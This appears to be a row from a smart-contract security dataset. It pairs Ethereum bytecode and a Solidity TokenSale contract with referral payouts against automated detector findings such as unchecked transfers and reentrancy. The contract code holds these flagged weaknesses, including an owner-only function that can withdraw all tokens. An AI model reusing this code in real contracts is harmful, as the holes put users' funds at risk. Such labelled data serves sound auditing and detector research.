ffffffff16565b82101561313457600754683635c9adc5dea0000093509350505061313d565b81819350935050505b9091565b600080600080600080600080600061315e8a600f54601054613348565b925092509250600061316e612e07565b905060008060006131818e8787876133de565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006131eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128cd565b905092915050565b60008082846132029190613e10565b905083811015613247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161323e90613bba565b60405180910390fd5b8091505092915050565b600061325b612e07565b905060006132728284612d0590919063ffffffff16565b90506132c681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613323826007546131a990919063ffffffff16565b60078190555061333e816008546131f390919063ffffffff16565b6008819055505050565b6000806000806133746064613366888a612d0590919063ffffffff16565b612d8090919063ffffffff16565b9050600061339e6064613390888b612d0590919063ffffffff16565b612d8090919063ffffffff16565b905060006133c7826133b9858c6131a990919063ffffffff16565b6131a990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806133f78589612d0590919063ffffffff16565b9050600061340e8689612d0590919063ffffffff16565b905060006134258789612d0590919063ffffffff16565b9050600061344e8261344085876131a990919063ffffffff16565b6131a990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061347a61347584613d8f565b613d6a565b9050808382526020820190508285602086028201111561349957600080fd5b60005b858110156134c957816134af88826134d3565b84526020840193506020830192505060018101905061349c565b5050509392505050565b6000813590506134e2816144b8565b92915050565b6000815190506134f7816144b8565b92915050565b600082601f83011261350e57600080fd5b813561351e848260208601613467565b91505092915050565b600081359050613536816144cf565b92915050565b60008135905061354b816144e6565b92915050565b60006020828403121561356357600080fd5b6000613571848285016134d3565b91505092915050565b60006020828403121561358c57600080fd5b600061359a848285016134e8565b91505092915050565b600080604083850312156135b657600080fd5b60006135c4858286016134d3565b92505060206135d5858286016134d3565b9150509250929050565b6000806000606084860312156135f457600080fd5b6000613602868287016134d3565b9350506020613613868287016134d3565b92505060406136248682870161353c565b9150509250925092565b6000806040838503121561364157600080fd5b600061364f858286016134d3565b92505060206136608582860161353c565b9150509250929050565b60006020828403121561367c57600080fd5b600082013567ffffffffffffffff81111561369657600080fd5b6136a2848285016134fd565b91505092915050565b6000602082840312156136bd57600080fd5b60006136cb84828501613527565b91505092915050565b6000602082840312156136e657600080fd5b60006136f48482850161353c565b91505092915050565b6000806040838503121561371057600080fd5b600061371e8582860161353c565b925050602061372f8582860161353c565b9150509250929050565b60006137458383613751565b60208301905092915050565b61375a81613f25565b82525050565b61376981613f25565b82525050565b600061377a82613dcb565b6137848185613dee565b935061378f83613dbb565b8060005b838110156137c05781516137a78882613739565b97506137b283613de1565b925050600181019050613793565b5085935050505092915050565b6137d681613f37565b82525050565b6137e581613f7a565b82525050565b6137f481613f9e565b82525050565b600061380582613dd6565b61380f8185613dff565b935061381f818560208601613fb0565b613828816140ea565b840191505092915050565b6000613840602383613dff565b915061384b826140fb565b604082019050919050565b6000613863601883613dff565b915061386e8261414a565b602082019050919050565b6000613886602a83613dff565b915061389182614173565b604082019050919050565b60006138a9601c83613dff565b91506138b4826141c2565b602082019050919050565b60006138cc602683613dff565b91506138d7826141eb565b604082019050919050565b60006138ef602283613dff565b91506138fa8261423a565b604082019050919050565b6000613912601b83613dff565b915061391d82614289565b602082019050919050565b6000613935602183613dff565b9150613940826142b2565b604082019050919050565b6000613958602083613dff565b915061396382614301565b602082019050919050565b600061397b602983613dff565b91506139868261432a565b604082019050919050565b600061399e602583613dff565b91506139a982614379565b604082019050919050565b60006139c1602383613dff565b91506139cc826143c8565b604082019050919050565b60006139e4600d83613dff565b91506139ef82614417565b602082019050919050565b6000613a07602483613dff565b9150613a1282614440565b604082019050919050565b6000613a2a600c83613dff565b9150613a358261448f565b602082019050919050565b613a4981613f63565b82525050565b613a5881613f6d565b82525050565b6000602082019050613a736000830184613760565b92915050565b6000604082019050613a8e6000830185613760565b613a9b6020830184613760565b9392505050565b6000602082019050613ab760008301846137cd565b92915050565b6000602082019050613ad260008301846137dc565b92915050565b60006020820190508181036000830152613af281846137fa565b905092915050565b60006020820190508181036000830152613b1381613833565b9050919050565b60006020820190508181036000830152613b3381613856565b9050919050565b60006020820190508181036000830152613b5381613879565b9050919050565b60006020820190508181036000830152613b738161389c565b9050919050565b60006020820190508181036000830152613b93816138bf565b9050919050565b60006020820190508181036000830152613bb3816138e2565b9050919050565b60006020820190508181036000830152613bd381613905565b9050919050565b60006020820190508181036000830152613bf381613928565b9050919050565b60006020820190508181036000830152613c138161394b565b9050919050565b60006020820190508181036000830152613c338161396e565b9050919050565b60006020820190508181036000830152613c5381613991565b9050919050565b60006020820190508181036000830152613c73816139b4565b9050919050565b60006020820190508181036000830152613c93816139d7565b9050919050565b60006020820190508181036000830152613cb3816139fa565b9050919050565b60006020820190508181036000830152613cd381613a1d565b9050919050565b6000602082019050613cef6000830184613a40565b92915050565b600060a082019050613d0a6000830188613a40565b613d1760208301876137eb565b8181036040830152613d29818661376f565b9050613d386060830185613760565b613d456080830184613a40565b9695505050505050565b6000602082019050613d646000830184613a4f565b92915050565b6000613d74613d85565b9050613d808282613fe3565b919050565b6000604051905090565b600067ffffffffffffffff821115613daa57613da96140bb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613e1b82613f63565b9150613e2683613f63565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613e5b57613e5a61405d565b5b828201905092915050565b6000613e7182613f63565b9150613e7c83613f63565b925082613e8c57613e8b61408c565b5b828204905092915050565b6000613ea282613f63565b9150613ead83613f63565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ee657613ee561405d565b5b828202905092915050565b6000613efc82613f63565b9150613f0783613f63565b925082821015613f1a57613f1961405d565b5b828203905092915050565b6000613f3082613f43565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613f8582613f8c565b9050919050565b6000613f9782613f43565b9050919050565b6000613fa982613f63565b9050919050565b60005b83811015613fce578082015181840152602081019050613fb3565b83811115613fdd576000848401525b50505050565b613fec826140ea565b810181811067ffffffffffffffff8211171561400b5761400a6140bb565b5b80604052505050565b600061401f82613f63565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140525761405161405d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6144c181613f25565b81146144cc57600080fd5b50565b6144d881613f37565b81146144e357600080fd5b50565b6144ef81613f63565b81146144fa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220853b6d67861c1a30fd4186f2565b3224f7543efacacc4ae25a44d0875f0386ee64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,471 |
0x0976Dbaf2140A637fe4ba5312589776d1059503c
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
pragma solidity 0.5.12;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) internal {
require(initialOwner != address(0));
_owner = initialOwner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner, "Caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title SetterRole
*/
contract SetterRole is Ownable {
using Roles for Roles.Role;
event SetterAdded(address indexed account);
event SetterRemoved(address indexed account);
Roles.Role private _setters;
modifier onlySetter() {
require(isSetter(msg.sender), "Caller has no permission");
_;
}
function isSetter(address account) public view returns (bool) {
return(_setters.has(account) || account == _owner);
}
function addSetter(address account) public onlyOwner {
_setters.add(account);
emit SetterAdded(account);
}
function removeSetter(address account) public onlyOwner {
_setters.remove(account);
emit SetterRemoved(account);
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function mint(address to, uint256 value) external returns (bool);
function burnFrom(address from, uint256 value) external;
}
interface IUSDT {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
function decimals() external view returns(uint8);
}
/**
* @title MF TokenSale contract
* @author https://grox.solutions
*/
contract TokenSale is SetterRole {
using SafeMath for uint256;
IUSDT public USDT;
IERC20 public TOKEN;
uint256 public FEE_PERCENT = 500;
uint256 public REF_PERCENT = 2000;
uint256 public FUND_PERCENT = 7500;
uint256 public PERCENT_DIV = 10000;
uint256 internal rateMul;
uint256 internal rateDiv;
bool public rateChangeable;
bool public withdrawable;
struct User {
uint256 purchased;
address referrer;
address[] referrals;
uint256 refPercent;
uint256 totalBonuses;
}
mapping (address => User) public users;
address public fundWallet;
address public feeWallet;
uint256 internal _tokensSold;
event Purchased(address indexed account, uint256 usdt, uint256 tokens);
event RefBonus(address indexed account, address indexed referral, uint256 refPercent, uint256 amount);
event RateChanged(uint256 oldRateMul, uint256 oldRateDiv, uint256 newRateMul, uint256 newRateDiv);
event FeeWalletChanged(address oldFeeWallet, address newFeeWallet);
event FundWalletChanged(address oldFundWallet, address newFundWallet);
constructor(address USDTAddr, address TOKENAddr, address initialOwner, address initialFeeWallet, address initialFundWallet, uint256 _rateMul, uint256 _rateDiv, bool _rateChangeable, bool _withdrawable) public Ownable(initialOwner) {
require(USDTAddr != address(0) && TOKENAddr != address(0) && initialFeeWallet != address(0) && initialFundWallet != address(0));
USDT = IUSDT(USDTAddr);
TOKEN = IERC20(TOKENAddr);
feeWallet = initialFeeWallet;
fundWallet = initialFundWallet;
rateMul = _rateMul;
rateDiv = _rateDiv;
rateChangeable = _rateChangeable;
withdrawable = _withdrawable;
emit RateChanged(0, 0, rateMul, rateDiv);
}
function buyToken(uint256 usdtAmount, address referrer) public {
require(USDT.allowance(msg.sender, address(this)) >= usdtAmount, "Approve USDT to this contract first");
if (users[msg.sender].referrer == address(0)) {
users[msg.sender].referrer = referrer;
users[referrer].referrals.push(msg.sender);
}
USDT.transferFrom(msg.sender, address(this), usdtAmount);
uint256 refBonus;
if (users[msg.sender].referrer != address(0)) {
uint256 refPercent = users[users[msg.sender].referrer].refPercent > 0 ? users[users[msg.sender].referrer].refPercent : REF_PERCENT;
refBonus = usdtAmount * refPercent / PERCENT_DIV;
USDT.transfer(users[msg.sender].referrer, refBonus);
users[msg.sender].totalBonuses = users[msg.sender].totalBonuses.add(refBonus);
emit RefBonus(users[msg.sender].referrer, msg.sender, refPercent, refBonus);
}
uint256 fee = usdtAmount.mul(FEE_PERCENT + REF_PERCENT).div(PERCENT_DIV);
if (fee.sub(refBonus) > 0) {
USDT.transfer(feeWallet, fee.sub(refBonus));
}
USDT.transfer(fundWallet, usdtAmount.mul(FUND_PERCENT).div(PERCENT_DIV));
uint256 tokens = getEstimation(usdtAmount);
TOKEN.transfer(msg.sender, tokens);
_tokensSold = _tokensSold.add(tokens);
users[msg.sender].purchased = users[msg.sender].purchased.add(tokens);
emit Purchased(msg.sender, usdtAmount, tokens);
}
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
if (ERC20Token == address(TOKEN)) {
require(withdrawable);
}
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).transfer(recipient, amount);
}
function usdtBalanceOf(address account) public view returns(uint256 usdt) {
return USDT.balanceOf(account);
}
function tokenBalanceOf(address account) public view returns(uint256 tokens) {
return TOKEN.balanceOf(account);
}
function getPurchasedOf(address account) public view returns(uint256 tokens) {
return users[account].purchased;
}
function getEstimation(uint256 usdt) public view returns(uint256 tokens) {
return usdt.mul(rateMul).div(rateDiv);
}
function getAvailableTokens() public view returns(uint256 tokens) {
return TOKEN.balanceOf(address(this));
}
function getSoldTokens() public view returns(uint256 tokens) {
return _tokensSold;
}
function getReferrerInfo(address account) public view returns(address referrer, uint256 refPercent, uint256 amountOfReferrals, uint256 totalBonuses) {
referrer = users[account].referrer;
refPercent = users[account].refPercent > 0 ? users[account].refPercent : REF_PERCENT;
amountOfReferrals = users[account].referrals.length;
totalBonuses = users[account].totalBonuses;
}
function getReferralInfo(address account, uint256 from, uint256 to) public view returns(address[] memory referrals, uint256[] memory bonuses) {
uint256 amountOfReferrals = users[account].referrals.length;
if (to > amountOfReferrals) {
to = amountOfReferrals;
}
require(to >= from);
uint256 length = to - from;
referrals = new address[](length);
bonuses = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
referrals[i] = users[account].referrals[from + i];
bonuses[i] = users[referrals[i]].totalBonuses;
}
}
function setParameters(bool _withdrawable, bool _rateChangeable) public onlyOwner {
if (withdrawable && !_withdrawable) {
withdrawable = false;
} else if (rateChangeable && !_rateChangeable) {
rateChangeable = false;
} else revert();
}
function setReferrer(address ref, uint256 refPercent) public onlySetter {
require(ref != address(0) && refPercent <= FEE_PERCENT + REF_PERCENT);
users[ref].refPercent = refPercent;
}
function setRate(uint256 newRateMul, uint256 newRateDiv) public onlySetter {
require(rateChangeable && newRateMul >= 1 && newRateDiv >= 1);
emit RateChanged(rateMul, rateDiv, newRateMul, newRateDiv);
rateMul = newRateMul;
rateDiv = newRateDiv;
}
function _bytesToAddress(bytes memory source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(source,0x14))
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063a6ceaeb811610104578063e42c08f2116100a2578063f25f4b5611610071578063f25f4b56146105c1578063f2fde38b146105c9578063f8c9935b146105ef578063faf12a43146105f7576101da565b8063e42c08f214610535578063e91803231461055b578063eaf98d23146105b1578063efdd6a39146105b9576101da565b8063b7c50c4c116100de578063b7c50c4c146104d8578063bbeb201c146104fe578063c54e44eb14610525578063e35568cb1461052d576101da565b8063a6ceaeb814610456578063a87430ba1461045e578063a9874c39146104b2576101da565b8063715018a61161017c5780638da5cb5b1161014b5780638da5cb5b146103c85780639134709e146103d05780639456fbcc146103fc578063976bf2191461042a576101da565b8063715018a61461037557806375491d761461037d57806382bfefc8146103a357806384509760146103ab576101da565b806346df2ccb116101b857806346df2ccb146102ea578063501883011461030f5780635793ed801461032b578063664a1ad614610351576101da565b806322444626146101df578063337fda8c146101f95780633fb02aad146102c4575b600080fd5b6101e76105ff565b60408051918252519081900360200190f35b61022b6004803603606081101561020f57600080fd5b506001600160a01b038135169060208101359060400135610605565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561026f578181015183820152602001610257565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102ae578181015183820152602001610296565b5050505090500194505050505060405180910390f35b6101e7600480360360208110156102da57600080fd5b50356001600160a01b031661077f565b61030d6004803603604081101561030057600080fd5b508035906020013561079a565b005b610317610870565b604080519115158252519081900360200190f35b61030d6004803603602081101561034157600080fd5b50356001600160a01b031661087e565b610359610913565b604080516001600160a01b039092168252519081900360200190f35b61030d610922565b61030d6004803603602081101561039357600080fd5b50356001600160a01b03166109b9565b610359610a4e565b6101e7600480360360208110156103c157600080fd5b5035610a5d565b610359610a8c565b61030d600480360360408110156103e657600080fd5b50803590602001356001600160a01b0316610a9b565b61030d6004803603604081101561041257600080fd5b506001600160a01b0381358116916020013516611058565b61030d6004803603604081101561044057600080fd5b506001600160a01b0381351690602001356111cc565b6101e7611267565b6104846004803603602081101561047457600080fd5b50356001600160a01b031661126d565b604080519485526001600160a01b039093166020850152838301919091526060830152519081900360800190f35b6101e7600480360360208110156104c857600080fd5b50356001600160a01b031661129e565b610317600480360360208110156104ee57600080fd5b50356001600160a01b0316611321565b61030d6004803603604081101561051457600080fd5b50803515159060200135151561134f565b6103596113ea565b6101e76113f9565b6101e76004803603602081101561054b57600080fd5b50356001600160a01b0316611475565b6105816004803603602081101561057157600080fd5b50356001600160a01b03166114c6565b604080516001600160a01b0390951685526020850193909352838301919091526060830152519081900360800190f35b6101e7611549565b6101e761154f565b610359611555565b61030d600480360360208110156105df57600080fd5b50356001600160a01b0316611564565b610317611667565b6101e7611670565b60075481565b6001600160a01b0383166000908152600b6020526040902060020154606090819080841115610632578093505b8484101561063f57600080fd5b60408051868603808252602080820283010190925281801561066b578160200160208202803883390190505b50935080604051908082528060200260200182016040528015610698578160200160208202803883390190505b50925060005b81811015610774576001600160a01b0388166000908152600b6020526040902060020180548883019081106106cf57fe5b9060005260206000200160009054906101000a90046001600160a01b03168582815181106106f957fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600b600086838151811061072957fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004015484828151811061076157fe5b602090810291909101015260010161069e565b505050935093915050565b6001600160a01b03166000908152600b602052604090205490565b6107a333611321565b6107ef576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b9103430b9903737903832b936b4b9b9b4b7b760411b604482015290519081900360640190fd5b600a5460ff168015610802575060018210155b801561080f575060018110155b61081857600080fd5b60085460095460408051928352602083019190915281810184905260608201839052517fc6428c191940c11047f2c65ffd103c026007bee63159301a4c8d4920f6f810619181900360800190a1600891909155600955565b600a54610100900460ff1681565b6000546001600160a01b031633146108cb576040805162461bcd60e51b81526020600482015260176024820152600080516020611947833981519152604482015290519081900360640190fd5b6108dc60018263ffffffff61167616565b6040516001600160a01b038216907f57a9d5e4a5fdb8c72a273458b4a46afd6cd3f548ab577908933e54f29fd70a9590600090a250565b600c546001600160a01b031681565b6000546001600160a01b0316331461096f576040805162461bcd60e51b81526020600482015260176024820152600080516020611947833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a06576040805162461bcd60e51b81526020600482015260176024820152600080516020611947833981519152604482015290519081900360640190fd5b610a1760018263ffffffff6116f716565b6040516001600160a01b038216907fc8d3785717c78d9d2bcb51ff75163af9101a486cd4fb3b915fda11d3fe44e15490600090a250565b6003546001600160a01b031681565b6000610a86600954610a7a6008548561175e90919063ffffffff16565b9063ffffffff6117be16565b92915050565b6000546001600160a01b031690565b60025460408051636eb1769f60e11b8152336004820152306024820152905184926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610aeb57600080fd5b505afa158015610aff573d6000803e3d6000fd5b505050506040513d6020811015610b1557600080fd5b50511015610b545760405162461bcd60e51b81526004018080602001828103825260238152602001806119676023913960400191505060405180910390fd5b336000908152600b60205260409020600101546001600160a01b0316610bca57336000818152600b60209081526040808320600190810180546001600160a01b0388166001600160a01b031991821681179092559085529184206002018054918201815584529190922001805490911690911790555b600254604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd9160648082019260009290919082900301818387803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b5050336000908152600b60205260408120600101549092506001600160a01b0316159050610dd457336000908152600b6020526040808220600101546001600160a01b03168252812060030154610c9057600554610cb6565b336000908152600b6020526040808220600101546001600160a01b031682529020600301545b905060075481850281610cc557fe5b600254336000908152600b602052604080822060010154815163a9059cbb60e01b81526001600160a01b03918216600482015295909404602486018190529051909650929091169263a9059cbb926044808301939282900301818387803b158015610d2f57600080fd5b505af1158015610d43573d6000803e3d6000fd5b5050336000908152600b6020526040902060040154610d6b925090508363ffffffff61182816565b336000818152600b602090815260409182902060048101949094556001909301548151858152938401869052815192936001600160a01b03909116927fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98929181900390910190a3505b6000610df5600754610a7a600554600454018761175e90919063ffffffff16565b90506000610e09828463ffffffff61188216565b1115610ea057600254600d546001600160a01b039182169163a9059cbb9116610e38848663ffffffff61188216565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610e8757600080fd5b505af1158015610e9b573d6000803e3d6000fd5b505050505b600254600c546007546006546001600160a01b039384169363a9059cbb931691610ed591610a7a908a9063ffffffff61175e16565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610f2457600080fd5b505af1158015610f38573d6000803e3d6000fd5b505050506000610f4785610a5d565b6003546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b158015610f9e57600080fd5b505af1158015610fb2573d6000803e3d6000fd5b505050506040513d6020811015610fc857600080fd5b5050600e54610fdd908263ffffffff61182816565b600e55336000908152600b6020526040902054611000908263ffffffff61182816565b336000818152600b6020908152604091829020939093558051888152928301849052805191927ff761777482b4b40d2bcc0d050cfba6829900a2d8b3484bd0244ec0feeb3db504929081900390910190a25050505050565b6000546001600160a01b031633146110a5576040805162461bcd60e51b81526020600482015260176024820152600080516020611947833981519152604482015290519081900360640190fd5b6003546001600160a01b03838116911614156110cf57600a54610100900460ff166110cf57600080fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561111957600080fd5b505afa15801561112d573d6000803e3d6000fd5b505050506040513d602081101561114357600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b505050506040513d60208110156111c557600080fd5b5050505050565b6111d533611321565b611221576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b9103430b9903737903832b936b4b9b9b4b7b760411b604482015290519081900360640190fd5b6001600160a01b0382161580159061123f5750600554600454018111155b61124857600080fd5b6001600160a01b039091166000908152600b6020526040902060030155565b600e5490565b600b60205260009081526040902080546001820154600383015460049093015491926001600160a01b039091169184565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156112ef57600080fd5b505afa158015611303573d6000803e3d6000fd5b505050506040513d602081101561131957600080fd5b505192915050565b600061133460018363ffffffff6118df16565b80610a865750506000546001600160a01b0390811691161490565b6000546001600160a01b0316331461139c576040805162461bcd60e51b81526020600482015260176024820152600080516020611947833981519152604482015290519081900360640190fd5b600a54610100900460ff1680156113b1575081155b156113c657600a805461ff00191690556113e6565b600a5460ff1680156113d6575080155b156101da57600a805460ff191690555b5050565b6002546001600160a01b031681565b600354604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561144457600080fd5b505afa158015611458573d6000803e3d6000fd5b505050506040513d602081101561146e57600080fd5b5051905090565b600354604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156112ef57600080fd5b6001600160a01b038082166000908152600b602052604081206001810154600390910154921691819081906114fd5760055461151a565b6001600160a01b0385166000908152600b60205260409020600301545b6001600160a01b039095166000908152600b602052604090206002810154600490910154949690949350915050565b60045481565b60065481565b600d546001600160a01b031681565b6000546001600160a01b031633146115b1576040805162461bcd60e51b81526020600482015260176024820152600080516020611947833981519152604482015290519081900360640190fd5b6001600160a01b03811661160c576040805162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600a5460ff1681565b60055481565b61168082826118df565b156116d2576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b61170182826118df565b61173c5760405162461bcd60e51b815260040180806020018281038252602181526020018061198a6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b60008261176d57506000610a86565b8282028284828161177a57fe5b04146117b75760405162461bcd60e51b81526004018080602001828103825260218152602001806119ab6021913960400191505060405180910390fd5b9392505050565b6000808211611814576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161181f57fe5b04949350505050565b6000828201838110156117b7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000828211156118d9576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006001600160a01b0382166119265760405162461bcd60e51b81526004018080602001828103825260228152602001806119cc6022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff169056fe43616c6c6572206973206e6f7420746865206f776e6572000000000000000000417070726f7665205553445420746f207468697320636f6e7472616374206669727374526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a723158206ea9082fbe296cfc1c31762c6032632dc7e906064c20d11ff4db337ba921796f64736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,472 |
0x3055C1d64e1670dC7c61c7dE578e9C6763FF1EB6
|
/**
*Submitted for verification at Etherscan.io on 2021-11-03
*/
// SPDX-License-Identifier: Apache-2.0
// Telegram: t.me/kerorotoken
pragma solidity ^0.8.7;
